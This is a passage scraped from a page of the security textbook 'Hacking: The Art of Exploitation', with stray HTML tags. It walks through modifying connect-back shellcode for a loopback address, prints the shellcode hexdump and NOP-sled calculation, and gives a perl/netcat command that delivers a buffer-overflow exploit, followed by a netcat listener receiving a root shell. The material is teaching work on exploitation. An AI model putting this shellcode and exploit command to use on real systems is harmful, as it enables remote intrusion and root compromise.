26.07.2018 Views

hacking-the-art-of-exploitation

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

multiple instructions. One way to do this is to write <strong>the</strong> two null bytes to<br />

<strong>the</strong> stack using a zeroed register. The file loopback_shell.s is a modified<br />

version <strong>of</strong> connectback_shell.s that uses <strong>the</strong> loopback address <strong>of</strong> 127.0.0.1.<br />

The differences are shown in <strong>the</strong> following output.<br />

reader@<strong>hacking</strong>:~/booksrc $ diff connectback_shell.s loopback_shell.s<br />

21c21,22<br />

< push DWORD 0x482aa8c0 ; Build sockaddr struct: IP Address = 192.168.42.72<br />

---<br />

> push DWORD 0x01BBBB7f ; Build sockaddr struct: IP Address = 127.0.0.1<br />

> mov WORD [esp+1], dx ; overwrite <strong>the</strong> BBBB with 0000 in <strong>the</strong> previous push<br />

reader@<strong>hacking</strong>:~/booksrc $<br />

After pushing <strong>the</strong> value 0x01BBBB7f to <strong>the</strong> stack, <strong>the</strong> ESP register will point<br />

to <strong>the</strong> beginning <strong>of</strong> this DWORD. By writing a two-byte WORD <strong>of</strong> null bytes<br />

at ESP+1, <strong>the</strong> middle two bytes will be overwritten to form <strong>the</strong> correct return<br />

address.<br />

This additional instruction increases <strong>the</strong> size <strong>of</strong> <strong>the</strong> shellcode by a few<br />

bytes, which means <strong>the</strong> NOP sled also needs to be adjusted for <strong>the</strong> exploit<br />

buffer. These calculations are shown in <strong>the</strong> output below, and <strong>the</strong>y result in<br />

a 397-byte NOP sled. This exploit using <strong>the</strong> loopback shellcode assumes that<br />

<strong>the</strong> tinyweb program is running and that a netcat process is listening for<br />

incoming connections on port 31337.<br />

reader@<strong>hacking</strong>:~/booksrc $ nasm loopback_shell.s<br />

reader@<strong>hacking</strong>:~/booksrc $ hexdump -C loopback_shell | grep --color=auto 00<br />

00000000 6a 66 58 99 31 db 43 52 6a 01 6a 02 89 e1 cd 80 |jfX.1.CRj.j.....|<br />

00000010 96 6a 66 58 43 68 7f bb bb 01 66 89 54 24 01 66 |.jfXCh....f.T$.f|<br />

00000020 68 7a 69 66 53 89 e1 6a 10 51 56 89 e1 43 cd 80 |hzifS..j.QV..C..|<br />

00000030 87 f3 87 ce 49 b0 3f cd 80 49 79 f9 b0 0b 52 68 |....I.?..Iy...Rh|<br />

00000040 2f 2f 73 68 68 2f 62 69 6e 89 e3 52 89 e2 53 89 |//shh/bin..R..S.|<br />

00000050 e1 cd 80 |...|<br />

00000053<br />

reader@<strong>hacking</strong>:~/booksrc $ wc -c loopback_shell<br />

83 loopback_shell<br />

reader@<strong>hacking</strong>:~/booksrc $ echo $(( 544 - (4*16) - 83 ))<br />

397<br />

reader@<strong>hacking</strong>:~/booksrc $ (perl -e 'print "\x90"x397';cat loopback_shell;perl -e 'print "\x88\<br />

xf6\xff\xbf"x16 . "\r\n"') | nc -v 127.0.0.1 80<br />

localhost [127.0.0.1] 80 (www) open<br />

As with <strong>the</strong> previous exploit, <strong>the</strong> terminal with netcat listening on<br />

port 31337 will receive <strong>the</strong> rootshell.<br />

reader@<strong>hacking</strong>:~ $ nc -vlp 31337<br />

listening on [any] 31337 ...<br />

connect to [127.0.0.1] from localhost [127.0.0.1] 42406<br />

whoami<br />

root<br />

It almost seems too easy, doesn’t it?<br />

318 0x500

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!